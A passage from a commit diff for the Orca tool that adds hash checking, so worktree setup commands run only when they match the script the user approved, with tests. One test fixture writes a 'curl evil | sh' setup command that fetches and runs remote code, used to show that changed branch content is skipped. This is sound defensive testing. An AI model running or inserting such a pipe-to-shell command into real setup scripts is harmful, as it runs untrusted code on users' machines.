mirror of
https://github.com/stablyai/orca.git
synced 2026-11-13 17:37:40 +00:00
fix(hooks): run worktree setup only when its content matches the approved script (#37977)
* fix(hooks): run worktree setup only when its content matches the approved script Clients may send approvedSetupHash with a create. After git worktree add the host hashes the created branch's shared setup and default-tab commands with the prompt's function; on a difference it skips them and returns setupTrustMismatch with the branch content. Creates without a hash (older clients, CLI, mobile, orchestration) and older hosts behave as before. * fix(hooks): send the approved setup hash and re-prompt on a changed branch The composer and direct work-item creates send the hash of the setup content the user approved (empty content included; none under repo-wide trust or local-only policy). When the host reports different branch content, show a setup-skipped toast and the existing trust prompt with that content. * test(hooks): hash the prompt's and the host's orca.yaml from the same fixture Covers CRLF and BOM primary checkouts, the plain-HTTP digest, the hash a runtime host reports to remote and mobile clients, run-both and local-only policies, creates without a hash, and pins the digest so a format change is deliberate. * style(worktrees): keep the creation flow under the line limit
This commit is contained in:
@@ -23,6 +23,8 @@
|
||||
"../src/cli/runtime/runtime-access-denied.ts",
|
||||
"../src/cli/runtime/runtime-pid-liveness.ts",
|
||||
"../src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts",
|
||||
"../src/renderer/src/lib/orca-hook-trust.ts",
|
||||
"../src/renderer/src/lib/sha256.ts",
|
||||
"../src/renderer/src/components/native-chat/native-chat-resolution-receipt.ts",
|
||||
"../src/renderer/src/components/native-chat/structured-agent-question-projection.ts",
|
||||
"../src/renderer/src/components/native-chat/native-chat-subagent-delegation.ts",
|
||||
|
||||
@@ -14,6 +14,7 @@ import type {
|
||||
CreateWorktreeArgs,
|
||||
CreateWorktreeProgressEvent,
|
||||
CreateWorktreeResult,
|
||||
SetupTrustMismatch,
|
||||
WorktreeCheckoutProgress,
|
||||
WorktreeCreateBaseFallback
|
||||
} from '../../shared/worktree/create-types'
|
||||
@@ -62,6 +63,7 @@ import {
|
||||
getEffectiveHooksFromConfig,
|
||||
shouldRunSetupForCreate
|
||||
} from '../workspace-hooks/effective-hook-config'
|
||||
import { checkCreatedWorktreeSetupTrust } from '../workspace-hooks/created-worktree-setup-trust'
|
||||
import { isTuiAgent } from '../../shared/agent-launch/catalog/tui-agent-config'
|
||||
import { runWorktreeChangeInvalidators } from './worktrees/listing/worktree-change-invalidators'
|
||||
|
||||
@@ -1716,11 +1718,20 @@ async function performLocalWorktreeCreate(
|
||||
// Created branch hooks are authoritative; benign divergence from primary must not disable setup (#1280).
|
||||
let setup: CreateWorktreeResult['setup']
|
||||
let defaultTabs: CreateWorktreeResult['defaultTabs']
|
||||
let setupTrustMismatch: SetupTrustMismatch | undefined
|
||||
await timing.time('prepare_setup', async () => {
|
||||
const createdYamlHooks = loadHooks(worktreePath)
|
||||
const createdEffectiveHooks = getEffectiveHooksFromConfig(repo, createdYamlHooks)
|
||||
setupTrustMismatch = checkCreatedWorktreeSetupTrust(
|
||||
repo,
|
||||
createdYamlHooks,
|
||||
args.setupDecision,
|
||||
args.approvedSetupHash
|
||||
)
|
||||
// Only the approved content may run; the client re-prompts with the branch's.
|
||||
const setupDecision = setupTrustMismatch ? 'skip' : args.setupDecision
|
||||
try {
|
||||
defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, args.setupDecision)
|
||||
defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, setupDecision)
|
||||
} catch (error) {
|
||||
// Unapproved target-branch tab commands may create tabs but must not execute.
|
||||
console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
|
||||
@@ -1732,7 +1743,7 @@ async function performLocalWorktreeCreate(
|
||||
let shouldLaunchSetup = false
|
||||
if (setupScript) {
|
||||
try {
|
||||
shouldLaunchSetup = shouldRunSetupForCreate(repo, args.setupDecision)
|
||||
shouldLaunchSetup = shouldRunSetupForCreate(repo, setupDecision)
|
||||
} catch (error) {
|
||||
// Target branch can add unseen hooks; skip unapproved setup without failing the existing workspace.
|
||||
console.warn(`[hooks] setup hook skipped for ${worktreePath}:`, error)
|
||||
@@ -1824,6 +1835,7 @@ async function performLocalWorktreeCreate(
|
||||
: {}),
|
||||
...(stagedStartup.startupTerminal ? { startupTerminal: stagedStartup.startupTerminal } : {}),
|
||||
...(baseFallback ? { baseFallback } : {}),
|
||||
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
|
||||
...(createWarning ? { warning: createWarning } : {}),
|
||||
timing: timing.finish()
|
||||
}
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import { getRepoDialableSshTargetId } from '../../../shared/execution-host'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { windowsFsPath } from '../../wsl/filesystem/wsl-unc-drive-fs-path'
|
||||
import { readFile } from 'node:fs/promises'
|
||||
import type { Repo } from '../../../shared/repo-types'
|
||||
@@ -18,6 +17,7 @@ import { isFolderRepo } from '../../../shared/repo-kind'
|
||||
import { inspectSetupScriptImportCandidates } from '../../../shared/workspace-setup/setup-script-imports'
|
||||
import { joinWorktreeRelativePath } from '../files/paths/runtime-relative-paths'
|
||||
import { blockedWslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate'
|
||||
import { hashOrcaHookTrustContent } from '../../workspace-hooks/created-worktree-setup-trust'
|
||||
|
||||
type RuntimeRepositoryHooksCommandsDeps = {
|
||||
resolveRepo: (selector: string) => Promise<Repo>
|
||||
@@ -116,7 +116,7 @@ export class RuntimeRepositoryHooksCommands {
|
||||
}
|
||||
|
||||
function hookTrust(scriptContent: string): { contentHash: string; scriptContent: string } {
|
||||
return { contentHash: createHash('sha256').update(scriptContent).digest('hex'), scriptContent }
|
||||
return { contentHash: hashOrcaHookTrustContent(scriptContent), scriptContent }
|
||||
}
|
||||
|
||||
function archiveTrust(
|
||||
|
||||
@@ -93,6 +93,9 @@ export function buildManagedWorktreeCreateArgs(
|
||||
defaultTarget: 'host'
|
||||
}),
|
||||
setupDecision: params.setupDecision,
|
||||
...(params.approvedSetupHash !== undefined
|
||||
? { approvedSetupHash: params.approvedSetupHash }
|
||||
: {}),
|
||||
...(params.setupOnly !== undefined ? { setupOnly: params.setupOnly } : {}),
|
||||
createdWithAgent: params.createdWithAgent ?? params.startupAgent,
|
||||
...provenance,
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { Repo } from '../../../../shared/repo-types'
|
||||
import { getDefaultSettings } from '../../../../shared/constants'
|
||||
import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
|
||||
|
||||
const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() }))
|
||||
vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({
|
||||
createSetupRunnerScript: runner.createSetupRunnerScript,
|
||||
resolveSetupRunnerShell: () => undefined
|
||||
}))
|
||||
|
||||
const PRIMARY_YAML = 'scripts:\n setup: pnpm install\n'
|
||||
const PRIMARY_TRUST_CONTENT = 'pnpm install'
|
||||
const sha256 = (text: string): string => createHash('sha256').update(text).digest('hex')
|
||||
|
||||
let worktreePath: string
|
||||
const repo: Repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 }
|
||||
|
||||
function prepare(approvedSetupHash?: string) {
|
||||
return prepareRuntimeLocalWorktreeSetup({
|
||||
request: {
|
||||
repoSelector: 'id:repo',
|
||||
name: 'w',
|
||||
setupDecision: 'run',
|
||||
...(approvedSetupHash !== undefined ? { approvedSetupHash } : {})
|
||||
},
|
||||
repo,
|
||||
worktreePath,
|
||||
settings: getDefaultSettings(tmpdir()),
|
||||
runtimeTarget: undefined,
|
||||
shouldUseSetupRunner: true
|
||||
})
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
worktreePath = mkdtempSync(join(tmpdir(), 'orca-setup-trust-'))
|
||||
runner.createSetupRunnerScript.mockReset().mockResolvedValue({
|
||||
runnerScriptPath: join(worktreePath, 'runner.sh'),
|
||||
envVars: {}
|
||||
})
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(worktreePath, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
describe('created worktree setup trust', () => {
|
||||
it('runs setup when the created branch matches the approved content', async () => {
|
||||
writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
|
||||
const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
|
||||
expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
|
||||
expect(result.setup).toBeDefined()
|
||||
expect(result.setupTrustMismatch).toBeUndefined()
|
||||
})
|
||||
|
||||
it('skips setup and default tab commands and reports the branch content when it differs', async () => {
|
||||
writeFileSync(
|
||||
join(worktreePath, 'orca.yaml'),
|
||||
'scripts:\n setup: curl evil | sh\ndefaultTabs:\n - title: dev\n command: pnpm dev\n'
|
||||
)
|
||||
const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
|
||||
expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
|
||||
expect(result.setup).toBeUndefined()
|
||||
expect(result.defaultTabs?.runCommands).toBe(false)
|
||||
expect(result.shouldRunSetup).toBe(false)
|
||||
expect(result.warning).toBeUndefined()
|
||||
const scriptContent = 'curl evil | sh\n\n# defaultTabs[1] dev\npnpm dev'
|
||||
expect(result.setupTrustMismatch).toEqual({ contentHash: sha256(scriptContent), scriptContent })
|
||||
})
|
||||
|
||||
it('skips setup a branch adds when the primary checkout had none', async () => {
|
||||
writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
|
||||
const result = await prepare(sha256(''))
|
||||
expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
|
||||
expect(result.setupTrustMismatch?.scriptContent).toBe(PRIMARY_TRUST_CONTENT)
|
||||
})
|
||||
|
||||
it('runs the created branch setup as before when an older client sends no approval', async () => {
|
||||
writeFileSync(join(worktreePath, 'orca.yaml'), 'scripts:\n setup: make bootstrap\n')
|
||||
const result = await prepare()
|
||||
expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
|
||||
expect(result.setupTrustMismatch).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -1,4 +1,8 @@
|
||||
import type { CreateWorktreeResult, SetupDecision } from '../../../../shared/worktree/create-types'
|
||||
import type {
|
||||
CreateWorktreeResult,
|
||||
SetupDecision,
|
||||
SetupTrustMismatch
|
||||
} from '../../../../shared/worktree/create-types'
|
||||
import type { Repo } from '../../../../shared/repo-types'
|
||||
import { getEffectiveHooks, loadHooks, runHook } from '../../../workspace-hooks/hooks'
|
||||
import {
|
||||
@@ -9,6 +13,7 @@ import {
|
||||
getDefaultTabsLaunch,
|
||||
shouldRunSetupForCreate
|
||||
} from '../../../workspace-hooks/effective-hook-config'
|
||||
import { checkCreatedWorktreeSetupTrust } from '../../../workspace-hooks/created-worktree-setup-trust'
|
||||
import type { RuntimeManagedWorktreeCreateArgs } from './runtime-managed-worktree-create-types'
|
||||
import type { RuntimeStore } from '../../runtime-store-contract'
|
||||
|
||||
@@ -32,6 +37,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
|
||||
defaultTabs?: CreateWorktreeResult['defaultTabs']
|
||||
warning?: string
|
||||
effectiveDecision: SetupDecision
|
||||
setupTrustMismatch?: SetupTrustMismatch
|
||||
hookFound: boolean
|
||||
shouldRunSetup: boolean
|
||||
didStartInProcessSetupHook: boolean
|
||||
@@ -42,9 +48,17 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
|
||||
const yamlHooks = loadHooks(worktreePath)
|
||||
const hooks = getEffectiveHooks(repo, worktreePath)
|
||||
const effectiveDecision = resolveRuntimeSetupDecision(request)
|
||||
const setupTrustMismatch = checkCreatedWorktreeSetupTrust(
|
||||
repo,
|
||||
yamlHooks,
|
||||
effectiveDecision,
|
||||
request.approvedSetupHash
|
||||
)
|
||||
// Only the approved content may run; the client re-prompts with the branch's.
|
||||
const runDecision = setupTrustMismatch ? 'skip' : effectiveDecision
|
||||
let defaultTabs: CreateWorktreeResult['defaultTabs']
|
||||
try {
|
||||
defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, effectiveDecision)
|
||||
defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, runDecision)
|
||||
} catch (error) {
|
||||
console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
|
||||
defaultTabs = yamlHooks?.defaultTabs
|
||||
@@ -54,7 +68,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
|
||||
let shouldRunSetup = false
|
||||
if (hooks?.scripts.setup) {
|
||||
try {
|
||||
shouldRunSetup = shouldRunSetupForCreate(repo, effectiveDecision)
|
||||
shouldRunSetup = shouldRunSetupForCreate(repo, runDecision)
|
||||
} catch {
|
||||
// A new branch may introduce an unapproved hook; worktree already exists, so skip/warn below rather than fail the create.
|
||||
}
|
||||
@@ -82,7 +96,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
|
||||
}
|
||||
})
|
||||
}
|
||||
} else if (hooks?.scripts.setup && effectiveDecision !== 'skip') {
|
||||
} else if (hooks?.scripts.setup && runDecision !== 'skip') {
|
||||
const skipped = `orca.yaml setup hook skipped for ${worktreePath}; pass --setup run to run it.`
|
||||
warning = warning ? `${warning} Also ${skipped}` : skipped
|
||||
console.warn(`[hooks] ${skipped}`)
|
||||
@@ -92,8 +106,31 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
|
||||
...(defaultTabs ? { defaultTabs } : {}),
|
||||
...(warning ? { warning } : {}),
|
||||
effectiveDecision,
|
||||
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
|
||||
hookFound: Boolean(hooks?.scripts.setup),
|
||||
shouldRunSetup,
|
||||
didStartInProcessSetupHook
|
||||
}
|
||||
}
|
||||
|
||||
export function buildRuntimeSetupReceipt(
|
||||
prepared: Awaited<ReturnType<typeof prepareRuntimeLocalWorktreeSetup>>,
|
||||
didSpawnSetup: boolean,
|
||||
terminalHandle: string | null | undefined
|
||||
): NonNullable<CreateWorktreeResult['setupReceipt']> {
|
||||
const { effectiveDecision, hookFound, shouldRunSetup, setup } = prepared
|
||||
return {
|
||||
requested: effectiveDecision,
|
||||
hookFound,
|
||||
startupPolicy: setup?.waitForAgentStartup ? 'wait-for-setup' : 'start-immediately',
|
||||
state: !hookFound
|
||||
? 'not_configured'
|
||||
: effectiveDecision === 'skip' || !shouldRunSetup
|
||||
? 'skipped'
|
||||
: // The in-process setup hook already started; spawn_failed would strand retrying callers.
|
||||
didSpawnSetup || prepared.didStartInProcessSetupHook
|
||||
? 'running'
|
||||
: 'spawn_failed',
|
||||
...(terminalHandle ? { terminalHandle } : {})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -60,6 +60,8 @@ export type RuntimeManagedWorktreeCreateArgs = {
|
||||
runHooks?: boolean
|
||||
activate?: boolean
|
||||
setupDecision?: 'run' | 'skip' | 'inherit'
|
||||
/** SHA-256 of the setup content the client approved; see CreateWorktreeArgs. */
|
||||
approvedSetupHash?: string
|
||||
setupOnly?: boolean
|
||||
awaitTerminalProvisioning?: boolean
|
||||
observeSetupCompletion?: boolean
|
||||
|
||||
@@ -12,7 +12,10 @@ import { SshHostNotServedError } from '../../../providers/ssh-host-not-served-er
|
||||
import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create'
|
||||
import { createRuntimeLocalManagedWorktree } from './runtime-local-worktree-create'
|
||||
import type { PreparationRearmHolder } from '../../../workspaces/creation/preparation/worktree-create-preparation'
|
||||
import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
|
||||
import {
|
||||
buildRuntimeSetupReceipt,
|
||||
prepareRuntimeLocalWorktreeSetup
|
||||
} from './runtime-local-worktree-setup'
|
||||
import { invalidateAuthorizedRootsCacheForRepo } from '../../../ipc/worktrees/removal/registered-worktree-roots-scoped-invalidation'
|
||||
import { startRuntimeLocalWorktreeTerminals } from '../startup/runtime-local-worktree-terminal-startup'
|
||||
import { trackRuntimeWorkspaceCreate } from '../../../workspaces/creation/workspace-create-telemetry'
|
||||
@@ -187,15 +190,7 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
|
||||
localCreate
|
||||
const { lineage, workspaceLineage } = metadataResult
|
||||
|
||||
let {
|
||||
setup,
|
||||
defaultTabs,
|
||||
warning,
|
||||
effectiveDecision,
|
||||
hookFound,
|
||||
shouldRunSetup,
|
||||
didStartInProcessSetupHook
|
||||
} = await prepareRuntimeLocalWorktreeSetup({
|
||||
const preparedSetup = await prepareRuntimeLocalWorktreeSetup({
|
||||
request: args,
|
||||
repo,
|
||||
worktreePath,
|
||||
@@ -208,6 +203,8 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
|
||||
warning:
|
||||
[includeCopyWarning, addResult.upstreamWarning].filter(Boolean).join(' ') || undefined
|
||||
})
|
||||
const { setup, defaultTabs, setupTrustMismatch } = preparedSetup
|
||||
let { warning } = preparedSetup
|
||||
|
||||
this.invalidateResolvedWorktreeCache()
|
||||
this.invalidateWorktreeScanCacheForRepo(repo.id)
|
||||
@@ -271,25 +268,15 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
|
||||
...(returnedSetup ? { setup: returnedSetup } : {}),
|
||||
...(args.awaitTerminalProvisioning
|
||||
? {
|
||||
setupReceipt: {
|
||||
requested: effectiveDecision,
|
||||
hookFound,
|
||||
startupPolicy: setup?.waitForAgentStartup
|
||||
? ('wait-for-setup' as const)
|
||||
: ('start-immediately' as const),
|
||||
state: !hookFound
|
||||
? ('not_configured' as const)
|
||||
: effectiveDecision === 'skip' || !shouldRunSetup
|
||||
? ('skipped' as const)
|
||||
: // The in-process setup hook already started; spawn_failed would strand retrying callers.
|
||||
didSpawnSetup || didStartInProcessSetupHook
|
||||
? ('running' as const)
|
||||
: ('spawn_failed' as const),
|
||||
...(setupTerminalHandle ? { terminalHandle: setupTerminalHandle } : {})
|
||||
}
|
||||
setupReceipt: buildRuntimeSetupReceipt(
|
||||
preparedSetup,
|
||||
didSpawnSetup,
|
||||
setupTerminalHandle
|
||||
)
|
||||
}
|
||||
: {}),
|
||||
...(defaultTabs ? { defaultTabs } : {}),
|
||||
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
|
||||
...(warning ? { warning } : {}),
|
||||
...(localCreate.baseFallback ? { baseFallback: localCreate.baseFallback } : {}),
|
||||
...(addResult.localBaseRefRefresh
|
||||
|
||||
@@ -0,0 +1,202 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { Repo } from '../../shared/repo-types'
|
||||
import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
|
||||
import { hashOrcaHookScript } from '../../renderer/src/lib/orca-hook-trust'
|
||||
import { RuntimeRepositoryHooksCommands } from '../runtime/repositories/runtime-repository-hooks-commands'
|
||||
import { loadHooks } from './hooks'
|
||||
import {
|
||||
checkCreatedWorktreeSetupTrust,
|
||||
hashOrcaHookTrustContent
|
||||
} from './created-worktree-setup-trust'
|
||||
|
||||
// The prompt hashes the primary checkout's orca.yaml; the host hashes the created worktree's.
|
||||
// Same committed file => same hash, whatever the checkout did to line endings or a BOM.
|
||||
const SETUP_YAML = [
|
||||
'base: &base',
|
||||
' title: Dev server',
|
||||
'scripts:',
|
||||
' setup: |',
|
||||
' pnpm install ',
|
||||
' \techo "tabbed"',
|
||||
'',
|
||||
' echo "ünïcødé ✓"',
|
||||
'defaultTabs:',
|
||||
' - <<: *base',
|
||||
' command: >',
|
||||
' pnpm dev',
|
||||
' --port 3000',
|
||||
' - title: Notes',
|
||||
' - command: "printf \'%s\\n\' quoted"',
|
||||
'issueCommand: gh issue view',
|
||||
'scripts_unrelated: ignored',
|
||||
''
|
||||
].join('\n')
|
||||
|
||||
const dirs: string[] = []
|
||||
function checkout(content: string): string {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'orca-setup-parity-'))
|
||||
dirs.push(dir)
|
||||
writeFileSync(join(dir, 'orca.yaml'), content)
|
||||
return dir
|
||||
}
|
||||
|
||||
const repo = (overrides: Partial<Repo> = {}): Repo => ({
|
||||
id: 'repo',
|
||||
path: '/primary',
|
||||
displayName: 'repo',
|
||||
badgeColor: '',
|
||||
addedAt: 0,
|
||||
...overrides
|
||||
})
|
||||
|
||||
/** What the trust prompt approves: the renderer's hash of the primary checkout's content. */
|
||||
async function promptHash(primaryPath: string): Promise<string> {
|
||||
return hashOrcaHookScript(getSetupTrustContent(loadHooks(primaryPath)))
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
dirs.length = 0
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals()
|
||||
for (const dir of dirs) {
|
||||
rmSync(dir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('approved setup hash parity between the trust prompt and the host', () => {
|
||||
const variants: [string, (yaml: string) => string][] = [
|
||||
['identical LF files', (yaml) => yaml],
|
||||
['a CRLF primary checkout (Windows autocrlf)', (yaml) => yaml.replace(/\n/g, '\r\n')],
|
||||
['a primary checkout saved with a UTF-8 BOM', (yaml) => `${yaml}`],
|
||||
['a primary checkout with trailing blank lines', (yaml) => `${yaml}\n\n\n`]
|
||||
]
|
||||
|
||||
it.each(variants)('treats %s as the approved content', async (_label, toPrimary) => {
|
||||
const primary = checkout(toPrimary(SETUP_YAML))
|
||||
const created = checkout(SETUP_YAML)
|
||||
const approved = await promptHash(primary)
|
||||
|
||||
expect(checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', approved)).toBe(
|
||||
undefined
|
||||
)
|
||||
})
|
||||
|
||||
it('agrees with the pure-JS digest the plain-HTTP web client uses', async () => {
|
||||
const primary = checkout(SETUP_YAML)
|
||||
const subtleHash = await promptHash(primary)
|
||||
vi.stubGlobal('crypto', undefined)
|
||||
const fallbackHash = await promptHash(primary)
|
||||
|
||||
expect(fallbackHash).toBe(subtleHash)
|
||||
expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(primary)))).toBe(subtleHash)
|
||||
})
|
||||
|
||||
it('agrees with the hash a runtime host reports to remote and mobile clients', async () => {
|
||||
const primary = checkout(SETUP_YAML)
|
||||
const created = checkout(SETUP_YAML.replace(/\n/g, '\r\n'))
|
||||
const hooks = await new RuntimeRepositoryHooksCommands({
|
||||
resolveRepo: async () => repo({ path: primary })
|
||||
}).getRepoHooks('id:repo')
|
||||
|
||||
expect(hooks.setupTrust?.contentHash).toBe(await promptHash(primary))
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(
|
||||
repo(),
|
||||
loadHooks(created),
|
||||
'run',
|
||||
hooks.setupTrust?.contentHash
|
||||
)
|
||||
).toBe(undefined)
|
||||
})
|
||||
|
||||
it('ignores orca.yaml keys that are not setup or default tab commands', async () => {
|
||||
const primary = checkout(SETUP_YAML)
|
||||
const created = checkout(
|
||||
SETUP_YAML.replace('issueCommand: gh issue view', 'issueCommand: gh issue view --web')
|
||||
.replace(' - title: Notes', ' - title: Scratch')
|
||||
.concat('scripts_extra: also ignored\n')
|
||||
)
|
||||
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
|
||||
).toBe(undefined)
|
||||
})
|
||||
|
||||
it('pins the digest so a format change, which would invalidate saved automation approvals, is deliberate', () => {
|
||||
expect(getSetupTrustContent(loadHooks(checkout(SETUP_YAML)))).toBe(
|
||||
[
|
||||
'pnpm install \n\techo "tabbed"\n\necho "ünïcødé ✓"',
|
||||
'# defaultTabs[1] Dev server\npnpm dev --port 3000',
|
||||
// The double-quoted "\n" escape is a real newline in YAML, on both sides.
|
||||
"# defaultTabs[3]\nprintf '%s\n' quoted"
|
||||
].join('\n\n')
|
||||
)
|
||||
expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(checkout(SETUP_YAML))))).toBe(
|
||||
PINNED_SETUP_HASH
|
||||
)
|
||||
})
|
||||
|
||||
it.each([
|
||||
[
|
||||
'a changed setup line',
|
||||
(yaml: string) => yaml.replace('pnpm install', 'pnpm install && curl x')
|
||||
],
|
||||
['a changed default tab command', (yaml: string) => yaml.replace('--port 3000', '--port 4000')],
|
||||
[
|
||||
'an added default tab command',
|
||||
(yaml: string) =>
|
||||
yaml.replace(' - title: Notes', ' - title: Notes\n command: make serve')
|
||||
]
|
||||
])('still reports %s as a mismatch', async (_label, change) => {
|
||||
const primary = checkout(SETUP_YAML)
|
||||
const created = checkout(change(SETUP_YAML))
|
||||
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
|
||||
).toMatchObject({ scriptContent: expect.any(String) })
|
||||
})
|
||||
|
||||
it('checks only the shared commands under run-both, as the prompt does', async () => {
|
||||
const primary = checkout(SETUP_YAML)
|
||||
const created = checkout(SETUP_YAML)
|
||||
const runBoth = repo({
|
||||
hookSettings: {
|
||||
mode: 'auto',
|
||||
commandSourcePolicy: 'run-both',
|
||||
scripts: { setup: 'echo my own local step', archive: '' }
|
||||
}
|
||||
})
|
||||
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(runBoth, loadHooks(created), 'run', await promptHash(primary))
|
||||
).toBe(undefined)
|
||||
})
|
||||
|
||||
it('never reports a mismatch under the local-only policy, where shared setup does not run', async () => {
|
||||
const created = checkout(SETUP_YAML)
|
||||
const localOnly = repo({
|
||||
hookSettings: {
|
||||
mode: 'auto',
|
||||
commandSourcePolicy: 'local-only',
|
||||
scripts: { setup: 'echo mine', archive: '' }
|
||||
}
|
||||
})
|
||||
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(localOnly, loadHooks(created), 'run', 'not-the-hash')
|
||||
).toBe(undefined)
|
||||
})
|
||||
|
||||
it('leaves creates without an approval hash (older clients, CLI, stored decisions) unchanged', () => {
|
||||
expect(
|
||||
checkCreatedWorktreeSetupTrust(repo(), loadHooks(checkout(SETUP_YAML)), 'run', undefined)
|
||||
).toBe(undefined)
|
||||
})
|
||||
})
|
||||
|
||||
const PINNED_SETUP_HASH = '112aac76dbc70758498c2b87a2dc42e77f7ce366a5b611749ec38b6757681593'
|
||||
@@ -0,0 +1,44 @@
|
||||
import { createHash } from 'node:crypto'
|
||||
import { resolveHookCommandSourcePolicy } from '../../shared/hook-command-source-policy'
|
||||
import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
|
||||
import type { OrcaHooks } from '../../shared/orca-yaml-hook-types'
|
||||
import type { Repo } from '../../shared/repo-types'
|
||||
import type { SetupDecision, SetupTrustMismatch } from '../../shared/worktree/create-types'
|
||||
import { shouldRunSetupForCreate } from './effective-hook-config'
|
||||
|
||||
/** Same digest as the renderer's hashOrcaHookScript, so host and prompt hashes compare. */
|
||||
export function hashOrcaHookTrustContent(content: string): string {
|
||||
return createHash('sha256').update(content.trim()).digest('hex')
|
||||
}
|
||||
|
||||
/**
|
||||
* Compare the created worktree's shared setup commands with what the client approved.
|
||||
* Undefined means run as decided: no approval was sent (older client), nothing shared would run, or it matches.
|
||||
*/
|
||||
export function checkCreatedWorktreeSetupTrust(
|
||||
repo: Repo,
|
||||
createdYamlHooks: OrcaHooks | null,
|
||||
decision: SetupDecision | undefined,
|
||||
approvedSetupHash: string | undefined
|
||||
): SetupTrustMismatch | undefined {
|
||||
if (approvedSetupHash === undefined) {
|
||||
return undefined
|
||||
}
|
||||
const policy = resolveHookCommandSourcePolicy(repo.hookSettings?.commandSourcePolicy, {
|
||||
hasLocalScript: Boolean(repo.hookSettings?.scripts.setup?.trim())
|
||||
})
|
||||
const scriptContent = getSetupTrustContent(createdYamlHooks)
|
||||
if (policy === 'local-only' || !scriptContent || !wouldRunSetup(repo, decision)) {
|
||||
return undefined
|
||||
}
|
||||
const contentHash = hashOrcaHookTrustContent(scriptContent)
|
||||
return contentHash === approvedSetupHash ? undefined : { contentHash, scriptContent }
|
||||
}
|
||||
|
||||
function wouldRunSetup(repo: Repo, decision: SetupDecision | undefined): boolean {
|
||||
try {
|
||||
return shouldRunSetupForCreate(repo, decision)
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -65,7 +65,10 @@ vi.mock('@/lib/workspace/creation/setup/workspace-setup-preparation', async (imp
|
||||
...(await importOriginal<Record<string, unknown>>()),
|
||||
inspectRequiredWorkspaceSetup: async () => ({ kind: 'decided', decision: 'inherit' })
|
||||
}))
|
||||
vi.mock('@/lib/ensure-hooks-confirmed', () => ({ ensureHooksConfirmed: async () => 'run' }))
|
||||
vi.mock('@/lib/ensure-hooks-confirmed', () => ({
|
||||
ensureHooksConfirmed: async () => 'run',
|
||||
ensureHooksApproved: async () => ({ decision: 'run' })
|
||||
}))
|
||||
vi.mock('@/lib/windows-terminal-capabilities', async (importOriginal) => ({
|
||||
...(await importOriginal<Record<string, unknown>>()),
|
||||
hasCachedWindowsTerminalCapabilities: () => true,
|
||||
|
||||
@@ -22432,6 +22432,9 @@
|
||||
"alwaysForceDeleteBranchesTooltip": "Applies to branches kept after future workspace deletions."
|
||||
},
|
||||
"worktree": {
|
||||
"setupTrust": {
|
||||
"createdBranchSkipped": "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
|
||||
},
|
||||
"nestedRemoval": {
|
||||
"refreshFailed": "Could not refresh the workspace list",
|
||||
"review": "Delete with nested worktrees…",
|
||||
|
||||
@@ -3,10 +3,13 @@ import type { AppState } from '@/store/types'
|
||||
